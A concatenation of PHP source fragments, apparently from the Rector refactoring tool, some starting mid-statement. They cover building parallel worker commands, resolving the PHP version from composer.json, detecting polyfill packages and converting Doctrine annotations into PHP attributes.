'--identifier'; $workerCommandArray[] = \escapeshellarg($identifier); /** @var string[] $paths */ $paths = $input->getArgument(Option::SOURCE); foreach ($paths as $path) { $workerCommandArray[] = \escapeshellarg($path); } // set json output $workerCommandArray[] = self::OPTION_DASHES . Option::OUTPUT_FORMAT; $workerCommandArray[] = \escapeshellarg(JsonOutputFormatter::NAME); // disable colors, breaks json_decode() otherwise // @see https://github.com/symfony/symfony/issues/1238 $workerCommandArray[] = '--no-ansi'; if ($input->hasOption(Option::CONFIG)) { $workerCommandArray[] = '--config'; /** * On parallel, the command is generated with `--config` addition * Using escapeshellarg() to ensure the --config path escaped, even when it has a space. * * eg: * --config /path/e2e/parallel with space/rector.php * * that can cause error: * * File /rector-src/e2e/parallel\" was not found * * the escaped result is: * * --config '/path/e2e/parallel with space/rector.php' * * tested in macOS and Ubuntu (github action) */ $config = (string) $input->getOption(Option::CONFIG); $workerCommandArray[] = \escapeshellarg($this->filePathHelper->relativePath($config)); } return \implode(' ', $workerCommandArray); } private function shouldSkipOption(InputInterface $input, string $optionName) : bool { if (!$input->hasOption($optionName)) { return \true; } // skip output format, not relevant in parallel worker command return $optionName === Option::OUTPUT_FORMAT; } /** * @return string[] */ private function getCommandOptionNames(Command $command) : array { $inputDefinition = $command->getDefinition(); $optionNames = []; foreach ($inputDefinition->getOptions() as $inputOption) { $optionNames[] = $inputOption->getName(); } return $optionNames; } /** * Keeps all options that are allowed in check command options * * @param string[] $mainCommandOptionNames * @return string[] */ private function mirrorCommandOptions(InputInterface $input, array $mainCommandOptionNames) : array { $workerCommandOptions = []; foreach ($mainCommandOptionNames as $mainCommandOptionName) { if ($this->shouldSkipOption($input, $mainCommandOptionName)) { continue; } /** @var bool|string|null $optionValue */ $optionValue = $input->getOption($mainCommandOptionName); // skip clutter if ($optionValue === null) { continue; } if (\is_bool($optionValue)) { if ($optionValue) { $workerCommandOptions[] = self::OPTION_DASHES . $mainCommandOptionName; } continue; } if ($mainCommandOptionName === 'memory-limit') { // symfony/console does not accept -1 as value without assign $workerCommandOptions[] = self::OPTION_DASHES . $mainCommandOptionName . '=' . \escapeshellarg($optionValue); } else { $workerCommandOptions[] = self::OPTION_DASHES . $mainCommandOptionName; $workerCommandOptions[] = \escapeshellarg($optionValue); } } return $workerCommandOptions; } } phpVersionFeatures = SimpleParameterProvider::provideIntParameter(Option::PHP_VERSION_FEATURES); $this->validatePhpVersionFeaturesParameter($this->phpVersionFeatures); } if ($this->phpVersionFeatures > 0) { return $this->phpVersionFeatures; } // for tests if (StaticPHPUnitEnvironment::isPHPUnitRun()) { // so we don't have to keep with up with newest version return PhpVersion::PHP_10; } $projectComposerJson = \getcwd() . '/composer.json'; if (\file_exists($projectComposerJson)) { $phpVersion = ComposerJsonPhpVersionResolver::resolve($projectComposerJson); if ($phpVersion !== null) { return $this->phpVersionFeatures = $phpVersion; } } // fallback to current PHP runtime version return $this->phpVersionFeatures = \PHP_VERSION_ID; } public function isAtLeastPhpVersion(int $phpVersion) : bool { return $phpVersion <= $this->provide(); } /** * @param mixed $phpVersionFeatures */ private function validatePhpVersionFeaturesParameter($phpVersionFeatures) : void { if ($phpVersionFeatures === null) { return; } // get all constants $phpVersionReflectionClass = new ReflectionClass(PhpVersion::class); // @todo check if (\in_array($phpVersionFeatures, $phpVersionReflectionClass->getConstants(), \true)) { return; } if (!\is_int($phpVersionFeatures)) { $this->throwInvalidTypeException($phpVersionFeatures); } if (StringUtils::isMatch((string) $phpVersionFeatures, self::VALID_PHP_VERSION_REGEX) && $phpVersionFeatures >= PhpVersion::PHP_53 - 1) { return; } $this->throwInvalidTypeException($phpVersionFeatures); } /** * @return never * @param mixed $phpVersionFeatures */ private function throwInvalidTypeException($phpVersionFeatures) { $errorMessage = \sprintf('Parameter "%s::%s" must be int, "%s" given.%sUse constant from "%s" to provide it, e.g. "%s::%s"', Option::class, 'PHP_VERSION_FEATURES', (string) $phpVersionFeatures, \PHP_EOL, PhpVersion::class, PhpVersion::class, 'PHP_80'); throw new InvalidConfigurationException($errorMessage); } } */ private static $cachedPhpVersions = []; /** * @return PhpVersion::* */ public static function resolveFromCwdOrFail() : int { // use composer.json PHP version $projectComposerJsonFilePath = \getcwd() . '/composer.json'; if (\file_exists($projectComposerJsonFilePath)) { $projectPhpVersion = self::resolve($projectComposerJsonFilePath); if (\is_int($projectPhpVersion)) { return $projectPhpVersion; } } throw new InvalidConfigurationException(\sprintf('We could not find local "composer.json" to determine your PHP version.%sPlease, fill the PHP version set in withPhpSets() manually.', \PHP_EOL)); } /** * @return PhpVersion::*|null */ public static function resolve(string $composerJson) : ?int { if (\array_key_exists($composerJson, self::$cachedPhpVersions)) { return self::$cachedPhpVersions[$composerJson]; } $projectComposerJson = JsonFileSystem::readFilePath($composerJson); // give this one a priority, as more generic one $requirePhpVersion = $projectComposerJson['require']['php'] ?? null; if ($requirePhpVersion !== null) { self::$cachedPhpVersions[$composerJson] = self::createIntVersionFromComposerVersion($requirePhpVersion); return self::$cachedPhpVersions[$composerJson]; } // see https://getcomposer.org/doc/06-config.md#platform $platformPhp = $projectComposerJson['config']['platform']['php'] ?? null; if ($platformPhp !== null) { self::$cachedPhpVersions[$composerJson] = PhpVersionFactory::createIntVersion($platformPhp); return self::$cachedPhpVersions[$composerJson]; } return self::$cachedPhpVersions[$composerJson] = null; } /** * @return PhpVersion::* */ private static function createIntVersionFromComposerVersion(string $projectPhpVersion) : int { $versionParser = new VersionParser(); $constraint = $versionParser->parseConstraints($projectPhpVersion); $lowerBound = $constraint->getLowerBound(); $lowerBoundVersion = $lowerBound->getVersion(); return PhpVersionFactory::createIntVersion($lowerBoundVersion); } } */ private $cachedPolyfillPackages = null; /** * @return array */ public function provide() : array { // disable cache in tests if (SimpleParameterProvider::hasParameter(Option::POLYFILL_PACKAGES)) { return SimpleParameterProvider::provideArrayParameter(Option::POLYFILL_PACKAGES); } // already cached, even only empty array if ($this->cachedPolyfillPackages !== null) { return $this->cachedPolyfillPackages; } $projectComposerJson = \getcwd() . '/composer.json'; if (!\file_exists($projectComposerJson)) { $this->cachedPolyfillPackages = []; return $this->cachedPolyfillPackages; } $composerContents = FileSystem::read($projectComposerJson); $composerJson = Json::decode($composerContents, \true); $this->cachedPolyfillPackages = $this->filterPolyfillPackages($composerJson['require'] ?? []); return $this->cachedPolyfillPackages; } /** * @param array $require * @return array */ private function filterPolyfillPackages(array $require) : array { return \array_filter(\array_keys($require), static function (string $packageName) : bool { return \strncmp($packageName, 'symfony/polyfill-', \strlen('symfony/polyfill-')) === 0; }); } } annotationToAttributeMappers = $annotationToAttributeMappers; Assert::notEmpty($annotationToAttributeMappers); } /** * @return mixed|DocTagNodeState::REMOVE_ARRAY * @param mixed $value */ public function map($value) { foreach ($this->annotationToAttributeMappers as $annotationToAttributeMapper) { if ($annotationToAttributeMapper->isCandidate($value)) { return $annotationToAttributeMapper->map($value); } } if ($value instanceof Expr) { return $value; } // remove node, as handled elsewhere if ($value instanceof DoctrineAnnotationTagValueNode) { return DocTagNodeState::REMOVE_ARRAY; } if ($value instanceof ArrayItemNode) { return BuilderHelpers::normalizeValue((string) $value); } if ($value instanceof StringNode) { return new String_($value->value, [AttributeKey::KIND => $value->getAttribute(AttributeKey::KIND)]); } // fallback return BuilderHelpers::normalizeValue($value); } } */ final class ArrayAnnotationToAttributeMapper implements AnnotationToAttributeMapperInterface { /** * @readonly * @var \Rector\PhpParser\Node\Value\ValueResolver */ private $valueResolver; /** * @var \Rector\PhpAttribute\AnnotationToAttributeMapper */ private $annotationToAttributeMapper; public function __construct(ValueResolver $valueResolver) { $this->valueResolver = $valueResolver; } public function autowire(AnnotationToAttributeMapper $annotationToAttributeMapper) : void { $this->annotationToAttributeMapper = $annotationToAttributeMapper; } /** * @param mixed $value */ public function isCandidate($value) : bool { return \is_array($value); } /** * @param mixed[] $value */ public function map($value) : Expr { $arrayItems = []; foreach ($value as $key => $singleValue) { $valueExpr = $this->annotationToAttributeMapper->map($singleValue); // remove node if ($valueExpr === DocTagNodeState::REMOVE_ARRAY) { continue; } // remove value if ($this->isRemoveArrayPlaceholder($singleValue)) { continue; } if ($valueExpr instanceof ArrayItem) { $valueExpr = $this->resolveValueExprWithSingleQuoteHandling($valueExpr); $arrayItems[] = $this->resolveValueExprWithSingleQuoteHandling($valueExpr); } else { $keyExpr = null; if (!\is_int($key)) { $keyExpr = $this->annotationToAttributeMapper->map($key); Assert::isInstanceOf($keyExpr, Expr::class); } $arrayItems[] = new ArrayItem($valueExpr, $keyExpr); } } return new Array_($arrayItems); } private function resolveValueExprWithSingleQuoteHandling(ArrayItem $arrayItem) : ArrayItem { if (!$arrayItem->key instanceof Expr && $arrayItem->value instanceof ClassConstFetch && $arrayItem->value->class instanceof Name && \strpos((string) $arrayItem->value->class, "'") !== \false) { $arrayItem->value = new String_($this->valueResolver->getValue($arrayItem->value)); return $arrayItem; } return $arrayItem; } /** * @param mixed $value */ private function isRemoveArrayPlaceholder($value) : bool { if (!\is_array($value)) { return \false; } return \in_array(DocTagNodeState::REMOVE_ARRAY, $value, \true); } } */ final class ArrayItemNodeAnnotationToAttributeMapper implements AnnotationToAttributeMapperInterface { /** * @var \Rector\PhpAttribute\AnnotationToAttributeMapper */ private $annotationToAttributeMapper; /** * Avoid circular reference */ public function autowire(AnnotationToAttributeMapper $annotationToAttributeMapper) : void { $this->annotationToAttributeMapper = $annotationToAttributeMapper; } /** * @param mixed $value */ public function isCandidate($value) : bool { return $value instanceof ArrayItemNode; } /** * @param ArrayItemNode $arrayItemNode */ public function map($arrayItemNode) : Expr { $valueExpr = $this->annotationToAttributeMapper->map($arrayItemNode->value); if ($valueExpr === DocTagNodeState::REMOVE_ARRAY) { return new ArrayItem(new String_($valueExpr), null); } if ($arrayItemNode->key !== null) { /** @var Expr $keyExpr */ $keyExpr = $this->annotationToAttributeMapper->map($arrayItemNode->key); } else { if ($this->hasNoParenthesesAnnotation($arrayItemNode)) { try { RectorAssert::className(\ltrim((string) $arrayItemNode->value, '@')); $identifierTypeNode = new IdentifierTypeNode($arrayItemNode->value); $arrayItemNode->value = new DoctrineAnnotationTagValueNode($identifierTypeNode); return $this->map($arrayItemNode); } catch (InvalidArgumentException $exception) { } } $keyExpr = null; } // @todo how to skip natural integer keys? return new ArrayItem($valueExpr, $keyExpr); } private function hasNoParenthesesAnnotation(ArrayItemNode $arrayItemNode) : bool { if ($arrayItemNode->value instanceof StringNode) { return \false; } if (!\is_string($arrayItemNode->value)) { return \false; } if (\strncmp($arrayItemNode->value, '@', \strlen('@')) !== 0) { return \false; } return \substr_compare($arrayItemNode->value, ')', -\strlen(')')) !== 0; } } */ final class ClassConstFetchAnnotationToAttributeMapper implements AnnotationToAttributeMapperInterface { /** * @param mixed $value */ public function isCandidate($value) : bool { if (!\is_string($value)) { return \false; } if (\strpos($value, '::') === \false) { return \false; } // is quoted? skip it return \strncmp($value, '"', \strlen('"')) !== 0; } /** * @param string $value */ public function map($value) : \PhpParser\Node\Expr { [$class, $constant] = \explode('::', $value); return new ClassConstFetch(new Name($class), $constant); } } */ final class ConstExprNodeAnnotationToAttributeMapper implements AnnotationToAttributeMapperInterface { /** * @param mixed $value */ public function isCandidate($value) : bool { return $value instanceof ConstExprNode; } /** * @param ConstExprNode $value */ public function map($value) : Expr { if ($value instanceof ConstExprIntegerNode) { return BuilderHelpers::normalizeValue((int) $value->value); } if ($value instanceof ConstantFloatType || $value instanceof ConstantBooleanType) { return BuilderHelpers::normalizeValue($value->getValue()); } if ($value instanceof ConstExprTrueNode) { return BuilderHelpers::normalizeValue(\true); } if ($value instanceof ConstExprFalseNode) { return BuilderHelpers::normalizeValue(\false); } throw new NotImplementedYetException(); } } */ final class CurlyListNodeAnnotationToAttributeMapper implements AnnotationToAttributeMapperInterface { /** * @var \Rector\PhpAttribute\AnnotationToAttributeMapper */ private $annotationToAttributeMapper; /** * Avoid circular reference */ public function autowire(AnnotationToAttributeMapper $annotationToAttributeMapper) : void { $this->annotationToAttributeMapper = $annotationToAttributeMapper; } /** * @param mixed $value */ public function isCandidate($value) : bool { return $value instanceof CurlyListNode; } /** * @param CurlyListNode $value */ public function map($value) : \PhpParser\Node\Expr { $arrayItems = []; $arrayItemNodes = $value->getValues(); $loop = -1; foreach ($arrayItemNodes as $arrayItemNode) { $valueExpr = $this->annotationToAttributeMapper->map($arrayItemNode); // remove node if ($valueExpr === DocTagNodeState::REMOVE_ARRAY) { continue; } Assert::isInstanceOf($valueExpr, ArrayItem::class); if (!\is_numeric($arrayItemNode->key)) { $arrayItems[] = $valueExpr; continue; } ++$loop; $arrayItemNodeKey = (int) $arrayItemNode->key; if ($loop === $arrayItemNodeKey) { $arrayItems[] = $valueExpr; continue; } $valueExpr->key = new LNumber($arrayItemNodeKey); $arrayItems[] = $valueExpr; } return new Array_($arrayItems); } } */ final class DoctrineAnnotationAnnotationToAttributeMapper implements AnnotationToAttributeMapperInterface { /** * @readonly * @var \Rector\Php\PhpVersionProvider */ private $phpVersionProvider; /** * @readonly * @var \Rector\PhpAttribute\AttributeArrayNameInliner */ private $attributeArrayNameInliner; /** * @var \Rector\PhpAttribute\AnnotationToAttributeMapper */ private $annotationToAttributeMapper; public function __construct(PhpVersionProvider $phpVersionProvider, AttributeArrayNameInliner $attributeArrayNameInliner) { $this->phpVersionProvider = $phpVersionProvider; $this->attributeArrayNameInliner = $attributeArrayNameInliner; } /** * Avoid circular reference */ public function autowire(AnnotationToAttributeMapper $annotationToAttributeMapper) : void { $this->annotationToAttributeMapper = $annotationToAttributeMapper; } /** * @param mixed $value */ public function isCandidate($value) : bool { if (!$value instanceof DoctrineAnnotationTagValueNode) { return \false; } return $this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::NEW_INITIALIZERS); } /** * @param DoctrineAnnotationTagValueNode $value */ public function map($value) : \PhpParser\Node\Expr { $annotationShortName = $this->resolveAnnotationName($value); $values = $value->getValues(); if ($values !== []) { $argValues = $this->annotationToAttributeMapper->map($value->getValues()); if ($argValues instanceof Array_) { // create named args $args = $this->attributeArrayNameInliner->inlineArrayToArgs($argValues); } else { throw new ShouldNotHappenException(); } } else { $args = []; } return new New_(new Name($annotationShortName), $args); } private function resolveAnnotationName(DoctrineAnnotationTagValueNode $doctrineAnnotationTagValueNode) : string { $annotationShortName = $doctrineAnnotationTagValueNode->identifierTypeNode->name; return \ltrim($annotationShortName, '@'); } } */ final class StringAnnotationToAttributeMapper implements AnnotationToAttributeMapperInterface { /** * @param mixed $value */ public function isCandidate($value) : bool { return \is_string($value); } /** * @param string $value */ public function map($value) : Expr { if (\strtolower($value) === 'true') { return new ConstFetch(new Name('true')); } if (\strtolower($value) === 'false') { return new ConstFetch(new Name('false')); } if (\strtolower($value) === 'null') { return new ConstFetch(new Name('null')); } // number as string to number if (\is_numeric($value) && \strlen((string) (int) $value) === \strlen($value)) { return LNumber::fromString($value); } if (\strpos($value, "'") !== \false && \strpos($value, "\n") === \false) { $kind = String_::KIND_DOUBLE_QUOTED; } else { $kind = String_::KIND_SINGLE_QUOTED; } if (\strncmp($value, '"', \strlen('"')) === 0 && \substr_compare($value, '"', -\strlen('"')) === 0) { $value = \trim($value, '"'); } return new String_($value, [AttributeKey::KIND => $kind]); } } */ final class StringNodeAnnotationToAttributeMapper implements AnnotationToAttributeMapperInterface { /** * @param mixed $value */ public function isCandidate($value) : bool { return $value instanceof StringNode; } /** * @param StringNode $value */ public function map($value) : Expr { return new String_($value->value, [AttributeKey::KIND => $value->getAttribute(AttributeKey::KIND)]); } } inlineArray($array); } return $this->inlineArrayNode($array); } /** * @return Arg[] */ private function inlineArrayNode(Array_ $array) : array { $args = []; foreach ($array->items as $arrayItem) { if (!$arrayItem instanceof ArrayItem) { continue; } if ($arrayItem->key instanceof String_) { $string = $arrayItem->key; $argumentName = new Identifier($string->value); $args[] = new Arg($arrayItem->value, \false, \false, [], $argumentName); } else { $args[] = new Arg($arrayItem->value); } } return $args; } /** * @param Arg[] $args * @return Arg[] */ private function inlineArray(array $args) : array { Assert::allIsAOf($args, Arg::class); $newArgs = []; foreach ($args as $arg) { // matching top root array key if ($arg->value instanceof ArrayItem) { $arrayItem = $arg->value; if ($arrayItem->key instanceof LNumber) { $newArgs[] = new Arg($arrayItem->value); } elseif ($arrayItem->key instanceof String_) { $arrayItemString = $arrayItem->key; $newArgs[] = new Arg($arrayItem->value, \false, \false, [], new Identifier($arrayItemString->value)); } elseif (!$arrayItem->key instanceof Expr) { // silent key $newArgs[] = new Arg($arrayItem->value); } else { throw new NotImplementedYetException(\get_debug_type($arrayItem->key)); } } } if ($newArgs !== []) { return $newArgs; } return $args; } } reflectionProvider = $reflectionProvider; } /** * @param Arg[] $args */ public function castAttributeTypes(AnnotationToAttribute $annotationToAttribute, array $args) : void { Assert::allIsInstanceOf($args, Arg::class); if (!$this->reflectionProvider->hasClass($annotationToAttribute->getAttributeClass())) { return; } $attributeClassReflection = $this->reflectionProvider->getClass($annotationToAttribute->getAttributeClass()); if (!$attributeClassReflection->hasConstructor()) { return; } $parameterReflections = $this->resolveConstructorParameterReflections($attributeClassReflection); foreach ($parameterReflections as $parameterReflection) { foreach ($args as $arg) { if (!$arg->value instanceof ArrayItem) { continue; } $arrayItem = $arg->value; if (!$arrayItem->key instanceof String_) { continue; } $keyString = $arrayItem->key; if ($keyString->value !== $parameterReflection->getName()) { continue; } // ensure type is casted to integer if (!$arrayItem->value instanceof String_) { continue; } if (!$this->containsInteger($parameterReflection->getType())) { continue; } $valueString = $arrayItem->value; if (!\is_numeric($valueString->value)) { continue; } $arrayItem->value = new LNumber((int) $valueString->value); } } } private function containsInteger(Type $type) : bool { if ($type instanceof IntegerType) { return \true; } if (!$type instanceof UnionType) { return \false; } foreach ($type->getTypes() as $unionedType) { if ($unionedType instanceof IntegerType) { return \true; } } return \false; } /** * @return ParameterReflection[] */ private function resolveConstructorParameterReflections(ClassReflection $classReflection) : array { $extendedMethodReflection = $classReflection->getConstructor(); $parametersAcceptorWithPhpDocs = ParametersAcceptorSelector::combineAcceptors($extendedMethodReflection->getVariants()); return $parametersAcceptorWithPhpDocs->getParameters(); } } useAliasNameMatcher = $useAliasNameMatcher; } /** * @param Use_[] $uses * @return \PhpParser\Node\Name\FullyQualified|\PhpParser\Node\Name */ public function create(AnnotationToAttributeInterface $annotationToAttribute, DoctrineAnnotationTagValueNode $doctrineAnnotationTagValueNode, array $uses) { // A. attribute and class name are the same, so we re-use the short form to keep code compatible with previous one, // except start with \ if ($annotationToAttribute->getAttributeClass() === $annotationToAttribute->getTag()) { $attributeName = $doctrineAnnotationTagValueNode->identifierTypeNode->name; $attributeName = \ltrim($attributeName, '@'); if (\strncmp($attributeName, '\\', \strlen('\\')) === 0) { return new FullyQualified(\ltrim($attributeName, '\\')); } return new Name($attributeName); } // B. different name $useAliasMetadata = $this->useAliasNameMatcher->match($uses, $doctrineAnnotationTagValueNode->identifierTypeNode->name, $annotationToAttribute); if ($useAliasMetadata instanceof UseAliasMetadata) { $useUse = $useAliasMetadata->getUseUse(); // is same as name? $useImportName = $useAliasMetadata->getUseImportName(); if ($useUse->name->toString() !== $useImportName) { // no? rename $useUse->name = new Name($useImportName); } return new Name($useAliasMetadata->getShortAttributeName()); } // 3. the class is not aliased and is completely new... return the FQN version return new FullyQualified($annotationToAttribute->getAttributeClass()); } } \\w+)::(?\\w+)#'; /** * @param array $values * @return Arg[] */ public function createFromValues(array $values) : array { $args = []; foreach ($values as $key => $argValue) { $expr = BuilderHelpers::normalizeValue($argValue); $this->normalizeArrayWithConstFetchKey($expr); $name = null; // for named arguments if (\is_string($key)) { $name = new Identifier($key); } $this->normalizeStringDoubleQuote($expr); $args[] = new Arg($expr, \false, \false, [], $name); } return $args; } private function normalizeStringDoubleQuote(Expr $expr) : void { if (!$expr instanceof String_) { return; } // avoid escaping quotes + preserve newlines if (\strpos($expr->value, "'") === \false) { return; } if (\strpos($expr->value, "\n") !== \false) { return; } $expr->setAttribute(AttributeKey::KIND, String_::KIND_DOUBLE_QUOTED); } private function normalizeArrayWithConstFetchKey(Expr $expr) : void { if (!$expr instanceof Array_) { return; } foreach ($expr->items as $arrayItem) { if (!$arrayItem instanceof ArrayItem) { continue; } if (!$arrayItem->key instanceof String_) { continue; } $string = $arrayItem->key; $match = Strings::match($string->value, self::CLASS_CONST_REGEX); if ($match === null) { continue; } /** @var string $class */ $class = $match['class']; /** @var string $constant */ $constant = $match['constant']; $arrayItem->key = new ClassConstFetch(new Name($class), $constant); } } } annotationToAttributeMapper = $annotationToAttributeMapper; $this->attributeNameFactory = $attributeNameFactory; $this->namedArgsFactory = $namedArgsFactory; $this->attributeArrayNameInliner = $attributeArrayNameInliner; $this->annotationToAttributeIntegerValueCaster = $annotationToAttributeIntegerValueCaster; } public function createFromSimpleTag(AnnotationToAttribute $annotationToAttribute) : AttributeGroup { return $this->createFromClass($annotationToAttribute->getAttributeClass()); } /** * @param AttributeName::*|string $attributeClass */ public function createFromClass(string $attributeClass) : AttributeGroup { $fullyQualified = new FullyQualified($attributeClass); $attribute = new Attribute($fullyQualified); return new AttributeGroup([$attribute]); } /** * @api tests * @param mixed[] $items */ public function createFromClassWithItems(string $attributeClass, array $items) : AttributeGroup { $fullyQualified = new FullyQualified($attributeClass); $args = $this->createArgsFromItems($items); $attribute = new Attribute($fullyQualified, $args); return new AttributeGroup([$attribute]); } /** * @param Use_[] $uses */ public function create(DoctrineAnnotationTagValueNode $doctrineAnnotationTagValueNode, AnnotationToAttribute $annotationToAttribute, array $uses) : AttributeGroup { $values = $doctrineAnnotationTagValueNode->getValuesWithSilentKey(); $args = $this->createArgsFromItems($values, '', $annotationToAttribute->getClassReferenceFields()); $this->annotationToAttributeIntegerValueCaster->castAttributeTypes($annotationToAttribute, $args); $args = $this->attributeArrayNameInliner->inlineArrayToArgs($args); $attributeName = $this->attributeNameFactory->create($annotationToAttribute, $doctrineAnnotationTagValueNode, $uses); // keep FQN in the attribute, so it can be easily detected later $attributeName->setAttribute(AttributeKey::PHP_ATTRIBUTE_NAME, $annotationToAttribute->getAttributeClass()); $attribute = new Attribute($attributeName, $args); $attributeGroup = new AttributeGroup([$attribute]); $comment = $doctrineAnnotationTagValueNode->getAttribute(AttributeKey::ATTRIBUTE_COMMENT); if ($comment) { $attributeGroup->setAttribute(AttributeKey::ATTRIBUTE_COMMENT, $comment); } return $attributeGroup; } /** * @api tests * * @param ArrayItemNode[]|mixed[] $items * @param string[] $classReferencedFields * * @return Arg[] */ public function createArgsFromItems(array $items, string $attributeClass = '', array $classReferencedFields = []) : array { $mappedItems = $this->annotationToAttributeMapper->map($items); $this->mapClassReferences($mappedItems, $classReferencedFields); $values = $mappedItems instanceof Array_ ? $mappedItems->items : $mappedItems; // the key here should contain the named argument return $this->namedArgsFactory->createFromValues($values); } /** * @param string[] $classReferencedFields * @param \PhpParser\Node\Expr|string $expr */ private function mapClassReferences($expr, array $classReferencedFields) : void { if (!$expr instanceof Array_) { return; } foreach ($expr->items as $arrayItem) { if (!$arrayItem instanceof ArrayItem) { continue; } if (!$arrayItem->key instanceof String_) { continue; } if (!\in_array($arrayItem->key->value, $classReferencedFields)) { continue; } if ($arrayItem->value instanceof ClassConstFetch) { continue; } if (!$arrayItem->value instanceof String_) { continue; } $arrayItem->value = new ClassConstFetch(new FullyQualified($arrayItem->value->value), 'class'); } } } annotationToAttributeMapper = $annotationToAttributeMapper; $this->attributeNameFactory = $attributeNameFactory; $this->namedArgsFactory = $namedArgsFactory; $this->attributeArrayNameInliner = $attributeArrayNameInliner; $this->tokenIteratorFactory = $tokenIteratorFactory; $this->staticDoctrineAnnotationParser = $staticDoctrineAnnotationParser; } /** * @param Use_[] $uses */ public function create(DoctrineAnnotationTagValueNode $doctrineAnnotationTagValueNode, NestedAnnotationToAttribute $nestedAnnotationToAttribute, array $uses) : AttributeGroup { $values = $doctrineAnnotationTagValueNode->getValues(); $values = $this->removeItems($values, $nestedAnnotationToAttribute); $args = $this->createArgsFromItems($values); $args = $this->attributeArrayNameInliner->inlineArrayToArgs($args); $attributeName = $this->attributeNameFactory->create($nestedAnnotationToAttribute, $doctrineAnnotationTagValueNode, $uses); $attribute = new Attribute($attributeName, $args); return new AttributeGroup([$attribute]); } /** * @return AttributeGroup[] */ public function createNested(DoctrineAnnotationTagValueNode $doctrineAnnotationTagValueNode, NestedAnnotationToAttribute $nestedAnnotationToAttribute) : array { $attributeGroups = []; if ($nestedAnnotationToAttribute->hasExplicitParameters()) { return $this->createFromExplicitProperties($nestedAnnotationToAttribute, $doctrineAnnotationTagValueNode); } $nestedAnnotationPropertyToAttributeClass = $nestedAnnotationToAttribute->getAnnotationPropertiesToAttributeClasses()[0]; foreach ($doctrineAnnotationTagValueNode->values as $arrayItemNode) { $nestedDoctrineAnnotationTagValueNode = $arrayItemNode->value; if (!$nestedDoctrineAnnotationTagValueNode instanceof CurlyListNode) { continue; } foreach ($nestedDoctrineAnnotationTagValueNode->values as $nestedArrayItemNode) { if (!$nestedArrayItemNode->value instanceof DoctrineAnnotationTagValueNode) { continue; } $attributeArgs = $this->createAttributeArgs($nestedArrayItemNode->value); $originalIdentifier = $doctrineAnnotationTagValueNode->identifierTypeNode->name; $attributeName = $this->resolveAliasedAttributeName($originalIdentifier, $nestedAnnotationPropertyToAttributeClass); $attribute = new Attribute($attributeName, $attributeArgs); $attributeGroups[] = new AttributeGroup([$attribute]); } } return $attributeGroups; } /** * @return Arg[] */ private function createAttributeArgs(DoctrineAnnotationTagValueNode $nestedDoctrineAnnotationTagValueNode) : array { $args = $this->createArgsFromItems($nestedDoctrineAnnotationTagValueNode->getValues()); return $this->attributeArrayNameInliner->inlineArrayToArgs($args); } /** * @param ArrayItemNode[] $arrayItemNodes * @return Arg[] */ private function createArgsFromItems(array $arrayItemNodes) : array { $arrayItemNodes = $this->annotationToAttributeMapper->map($arrayItemNodes); $values = $arrayItemNodes instanceof Array_ ? $arrayItemNodes->items : $arrayItemNodes; return $this->namedArgsFactory->createFromValues($values); } /** * @todo improve this hardcoded approach later * @return \PhpParser\Node\Name\FullyQualified|\PhpParser\Node\Name */ private function resolveAliasedAttributeName(string $originalIdentifier, AnnotationPropertyToAttributeClass $annotationPropertyToAttributeClass) { /** @var string $shortDoctrineAttributeName */ $shortDoctrineAttributeName = Strings::after($annotationPropertyToAttributeClass->getAttributeClass(), '\\', -1); if (\strncmp($originalIdentifier, '@ORM', \strlen('@ORM')) === 0) { // or alias return new Name('ORM\\' . $shortDoctrineAttributeName); } // short alias if (\strpos($originalIdentifier, '\\') === \false) { return new Name($shortDoctrineAttributeName); } return new FullyQualified($annotationPropertyToAttributeClass->getAttributeClass()); } /** * @param ArrayItemNode[] $arrayItemNodes * @return ArrayItemNode[] */ private function removeItems(array $arrayItemNodes, NestedAnnotationToAttribute $nestedAnnotationToAttribute) : array { foreach ($nestedAnnotationToAttribute->getAnnotationPropertiesToAttributeClasses() as $annotationPropertyToAttributeClass) { foreach ($arrayItemNodes as $key => $arrayItemNode) { if ($arrayItemNode->key !== $annotationPropertyToAttributeClass->getAnnotationProperty()) { continue; } unset($arrayItemNodes[$key]); } } return $arrayItemNodes; } /** * @return AttributeGroup[] */ private function createFromExplicitProperties(NestedAnnotationToAttribute $nestedAnnotationToAttribute, DoctrineAnnotationTagValueNode $doctrineAnnotationTagValueNode) : array { $attributeGroups = []; foreach ($nestedAnnotationToAttribute->getAnnotationPropertiesToAttributeClasses() as $annotationPropertyToAttributeClass) { /** @var string $annotationProperty */ $annotationProperty = $annotationPropertyToAttributeClass->getAnnotationProperty(); $nestedArrayItemNode = $doctrineAnnotationTagValueNode->getValue($annotationProperty); if (!$nestedArrayItemNode instanceof ArrayItemNode) { continue; } if (!$nestedArrayItemNode->value instanceof CurlyListNode) { throw new ShouldNotHappenException(); } foreach ($nestedArrayItemNode->value->getValues() as $arrayItemNode) { $nestedDoctrineAnnotationTagValueNode = $arrayItemNode->value; if (!$nestedDoctrineAnnotationTagValueNode instanceof DoctrineAnnotationTagValueNode) { Assert::string($nestedDoctrineAnnotationTagValueNode); $match = Strings::match($nestedDoctrineAnnotationTagValueNode, DoctrineAnnotationDecorator::LONG_ANNOTATION_REGEX); if (!isset($match['class_name'])) { throw new ShouldNotHappenException(); } $identifierTypeNode = new IdentifierTypeNode($match['class_name']); $identifierTypeNode->setAttribute(PhpDocAttributeKey::RESOLVED_CLASS, $match['class_name']); $annotationContent = $match['annotation_content'] ?? ''; $nestedTokenIterator = $this->tokenIteratorFactory->create($annotationContent); // mimics doctrine behavior just in phpdoc-parser syntax :) // https://github.com/doctrine/annotations/blob/c66f06b7c83e9a2a7523351a9d5a4b55f885e574/lib/Doctrine/Common/Annotations/DocParser.php#L742 $values = $this->staticDoctrineAnnotationParser->resolveAnnotationMethodCall($nestedTokenIterator, new Nop()); $nestedDoctrineAnnotationTagValueNode = new DoctrineAnnotationTagValueNode($identifierTypeNode, $match['annotation_content'] ?? '', $values); } $attributeArgs = $this->createAttributeArgs($nestedDoctrineAnnotationTagValueNode); $originalIdentifier = $nestedDoctrineAnnotationTagValueNode->identifierTypeNode->name; $attributeName = $this->resolveAliasedAttributeName($originalIdentifier, $annotationPropertyToAttributeClass); if ($annotationPropertyToAttributeClass->doesNeedNewImport() && \count($attributeName->getParts()) === 1) { $attributeName->setAttribute(AttributeKey::EXTRA_USE_IMPORT, $annotationPropertyToAttributeClass->getAttributeClass()); } $attribute = new Attribute($attributeName, $attributeArgs); $attributeGroups[] = new AttributeGroup([$attribute]); } } return $attributeGroups; } } uses as $useUse) { // we need to use original use statement $originalUseUseNode = $useUse->getAttribute(AttributeKey::ORIGINAL_NODE); if (!$originalUseUseNode instanceof 